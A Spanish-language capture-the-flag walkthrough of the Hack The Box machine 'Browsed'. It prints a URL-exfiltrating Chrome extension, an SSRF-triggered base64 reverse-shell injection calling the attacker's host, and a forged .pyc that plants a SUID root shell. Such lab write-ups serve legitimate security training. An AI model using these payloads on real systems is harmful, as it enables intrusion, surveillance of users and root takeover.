Descripción

Browsed es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Subida de una extensión maliciosa de Chrome para descubrir páginas web internas
  • Uso de la extensión de Chrome para obtener acceso a una aplicación web local con Request Forgery del Lado del Servidor
  • SSRF de la aplicación interna lleva a Inyección de Comandos y Ejecución Remota de Comandos
  • Escalada de Privilegios mediante un directorio de caché Python escribible y un programa Python ejecutable como usuario root

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.5.37.

$ ping -c 3 10.129.5.37
PING 10.129.5.37 (10.129.5.37) 56(84) bytes of data.
64 bytes from 10.129.5.37: icmp_seq=1 ttl=63 time=46.3 ms
64 bytes from 10.129.5.37: icmp_seq=2 ttl=63 time=47.5 ms
64 bytes from 10.129.5.37: icmp_seq=3 ttl=63 time=48.0 ms

--- 10.129.5.37 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.344/47.299/48.006/0.700 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN de Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.129.5.37 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.5.37
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

Obtenemos dos puertos abiertos: 22 y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versiones de servicio y scripts.

$ nmap 10.129.5.37 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.5.37
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Browsed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.79 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Parece ser una aplicación web en Python. Añadimos el dominio browsed.htb al archivo /etc/hosts.

$ echo '10.129.5.37 browsed.htb' | sudo tee -a /etc/hosts

Encontramos una página web en la que podemos subir una extensión de Chrome para que un desarrollador la revise, empaquetada en archivos .zip. Vamos a empezar desarrollando una extensión maliciosa de Chrome que enviará todas las páginas que el desarrollador visite a una API previamente desplegada. Creamos el archivo api.py con el contenido de la API:

from flask import Flask, request

app = Flask(__name__)

@app.route("/register", methods=["POST"])
def get():
    data = request.json
    print("Received URL:", data)
    return {"status": "ok"}

app.run(host="10.10.15.109", port=5555)

Tenemos que cambiar la variable host con la dirección IP o nombre de host de nuestra máquina. Iniciamos el API.

$ python api.py 
 * Serving Flask app 'api'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://10.10.15.109:5555
Press CTRL+C to quit

Entonces desarrollamos la extensión maliciosa, primero con su manifiesto manifest.json:

{
  "manifest_version": 3,
  "name": "Page Visit Tracker",
  "version": "1.0",
  "description": "Sends all visited URLs to an API",
  "permissions": [
    "tabs",
    "webNavigation"
  ],
  "host_permissions": [
    "<all_urls>"
  ],
  "background": {
    "service_worker": "background.js"
  }
}

Y luego el código que se ejecutará en segundo plano después de que la extensión haya sido instalada background.js.

async function sendURL(url) {
  try {
    await fetch("http://10.10.15.109:5555/register", {
      method: "POST",
      headers: {
        "Content-Type": "application/json"
      },
      body: JSON.stringify({
        url: url,
        timestamp: Date.now()
      })
    });
  } catch (err) {
    console.error("Error: ", err);
  }
}

chrome.webNavigation.onCompleted.addListener((details) => {
  // Filter iframers
  if (details.frameId !== 0) return;

  // Filter internal Chrome pages
  if (details.url.startsWith("chrome://")) return;

  console.log("Visited page:", details.url);
  sendURL(details.url);
});

También necesitaremos cambiar la dirección IP por nuestra propia. Luego empaquetamos la extensión en un archivo .zip y subimos el archivo al sistema.

$ zip malicious_extension.zip manifest.json background.js

Poco tiempo después encontramos que el usuario está visitando el dominio browsedinternals.htb.

Received URL: {'url': 'http://browsedinternals.htb/',...}

Añadimos el host al archivo /etc/hosts.

$ echo '10.129.5.37 browsedinternals.htb' | sudo tee -a /etc/hosts

Encontramos un servidor Gitea que aloja un repositorio Git, MarkdownPreview, lo clonamos.

$ git clone http://browsedinternals.htb/larry/MarkdownPreview
$ ls MarkdownPreview
$ ls                  
app.py  backups  files  log  README.md  routines.sh 

Explotación

MarkdownPreview es una aplicación web que permite convertir archivos .md a archivos .html. Se dice que debería ejecutarse localmente, por lo que podría estar en ejecución en la máquina. La aplicación principal corre con el archivo app.py y hay un script Bash llamado routines.sh.

En el archivo app.py encontramos que en el endpoint /routines se ejecuta el script routines.sh pasando como parámetro la entrada introducida por el usuario en el parámetro <rid>. La aplicación está siendo ejecutada localmente escuchando en el puerto 5000.

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

...

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

En el routines.sh encontramos que el parámetro pasado no está siendo filtrado, por lo que es posible la inyección de comandos utilizando la expansión aritmética de índice.

#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."
...
else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

El parámetro se está imprimiendo en un archivo con la función log_action. Vamos a utilizar la expansión aritmética de índice para desplegar una shell inversa a nuestra máquina codificada utilizando Base64. Desarrollamos otro Chrome extension que provocará una solicitud HTTP al servicio local instalado en la máquina. Este es el manifest.json:

{
  "manifest_version": 3,
  "name": "Malicious Extension",
  "version": "1.0",
  "description": "Extension to aceess to the internal API",
  "permissions": [
    "storage"
  ],
  "host_permissions": [
    "http://127.0.0.1:5000/*"
  ],
  "background": {
    "service_worker": "background.js"
  }
}

Entonces este es el archivo background.js:

async function callAPI() {
  const toRun = "variable[$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMDkvMTIzNCAwPiYx|base64${IFS}-d|bash)]"
  try {
    const response = await fetch("http://127.0.0.1:5000/routines/" + toRun, {
      method: "GET", mode: 'no-cors'
    });
  } catch (error) {
    console.error("Error:", error);
  }
}

chrome.runtime.onInstalled.addListener(() => {
  console.log("Installed extensions");
  callAPI();
});

El formato del parámetro enviado al script Bash tendrá el formato variable[$(command_to_run)]. Utilizamos ${IFS} como espacio en la command y la codificación Base64 para ocultar algunos caracteres en la command a ejecutar. Generamos el archivo .zip. Iniciamos el puerto de escucha 1234.

$ zip malicious_extension.zip manifest.json background.js
$ nc -nvlp 1234

Subimos el archivo y recibimos una terminal inversa como el usuario larry. Lo actualizamos.

$ nc -nvlp 1234                                          
listening on [any] 1234 ...
connect to [10.10.15.109] from (UNKNOWN) [**10.129.5.37**] 53480
bash: cannot set terminal process group (1453): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
[CTRL-Z]
$ stty raw -echo; fg
$ reset xterm
larry@browsed:~/markdownPreview$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Solo un comando puede ejecutarse como usuario root /opt/extensiontool/extension_tool.py.

larry@browsed:~/markdownPreview$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

Dentro del directorio /opt/extensiontool, encontramos que la carpeta __pycache__ es escribible por todos los usuarios.

larry@browsed:~/markdownPreview$ ls -la /opt/extensiontool/
total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
drwxrwxr-x 5 root root 4096 Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__

En el archivo extension_tool.py, encontramos que el programa está importando dos funciones del archivo extension_utils.pyvalidate_manifest y clean_temp_files.

larry@browsed:~/markdownPreview$ head -n 10 /opt/extensiontool/extension_tool.py 
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def bump_version(data, path, level='patch'):
...

No podemos modificar los archivos .py ya que son propiedad del usuario root, pero podemos generar archivos maliciosos .pyc dentro de la carpeta __pycache__ que se ejecutarán cuando el programa llame a estas funciones. Debemos tener en cuenta la invalidación de los archivos .pyc basada en el tiempo.

La invalidación de archivos .pyc basada en el tiempo en Python funciona comparando la hora de modificación y el tamaño del archivo fuente almacenados en la cabecera del .pyc con los metadatos actuales del sistema de archivos. Si ambos valores coinciden, Python confía y ejecuta el código en bytes almacenado sin inspeccionar el contenido del archivo fuente. Este enfoque es rápido pero menos seguro, y se define en PEP 552. Comenzamos copiando la carpeta extensiontool a una carpeta temporal.

larry@browsed:~/markdownPreview$ cp -r /opt/extensiontool/ /tmp/
larry@browsed:~/markdownPreview$ cd /tmp/extensiontool/

Entonces modificamos el archivo extension_utils.py para agregar un comando que creará un binario Bash SUID en el directorio /tmp. Modificamos la función clean_temp_files.

import os
...
def clean_temp_files(extension_dir):
    """ Clean up temporary files or unnecessary directories after packaging """
    os.system("cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash")
    temp_dir = '/opt/extensiontool/temp'

    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up temporary directory {temp_dir}")
    else:
        print("[+] No temporary files to clean.")
    exit(0)

Ahora encontramos que el archivo que editamos tiene un tamaño de 1316 bytes, y el original 1245 bytes. Necesitamos eliminar bytes al remover código del archivo para coincidir con el tamaño original.

larry@browsed:/tmp/extensiontool$ nano extension_utils.py 
larry@browsed:/tmp/extensiontool$ ls -l /opt/extensiontool/extension_utils.py extension_utils.py 
-rw-r--r-- 1 larry larry 1316 extension_utils.py
-rw-rw-r-- 1 root  root  1245 /opt/extensiontool/extension_utils.py

Modificamos la clean_temp_files como este, por ejemplo:

def clean_temp_files(extension_dir):
    """ Clean files or unnecessary directories after packaging - """
    os.system("cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash")
    temp_dir = '/opt/extensiontool/temp'

    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up temporary directory {temp_dir}")
    exit(0)

Ahora, ambos los timestamps de acceso y modificación de los dos archivos deben coincidir, podemos usar el comando touch.

larry@browsed:/tmp/extensiontool$ touch -r /opt/extensiontool/extension_utils.py extension_utils.py

Entonces ejecutamos el extension_tool.py para que se genere el archivo .pyc.

larry@browsed:/tmp/extensiontool$ python extension_tool.py --help
Validate, bump version, and package a browser extension.

options:
  -h, --help            show this help message and exit
  --ext EXT             Which extension to load
  --bump {major,minor,patch}
                        Version bump type
  --zip [ZIP]           Output zip file name
  --clean               Clean up temporary files after packaging

La ejecución fallará debido a una dependencia que no está instalada pero los archivos de código en bytes se generan, copiamos el archivo a la carpeta subdirectorio __pycache__ en el directorio /opt/extensiontool.

larry@browsed:/tmp/extensiontool$ cp /tmp/extensiontool/__pycache__/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/

Entonces ejecutamos el archivo /opt/extensiontool/extension_tool.py como usuario root. Utilizamos el argumento --clean para desplegar la función en el archivo externo. Luego desplegamos la terminal root.

larry@browsed:/tmp/extensiontool$ sudo /opt/extensiontool/extension_tool.py --clean
larry@browsed:/tmp/extensiontool$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1000(larry) gid=1000(larry) euid=0(root) groups=1000(larry)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

suid-bash-5.2# cat /home/larry/user.txt 
<REDACTED>
suid-bash-5.2# cat /root/root.txt 
<REDACTED>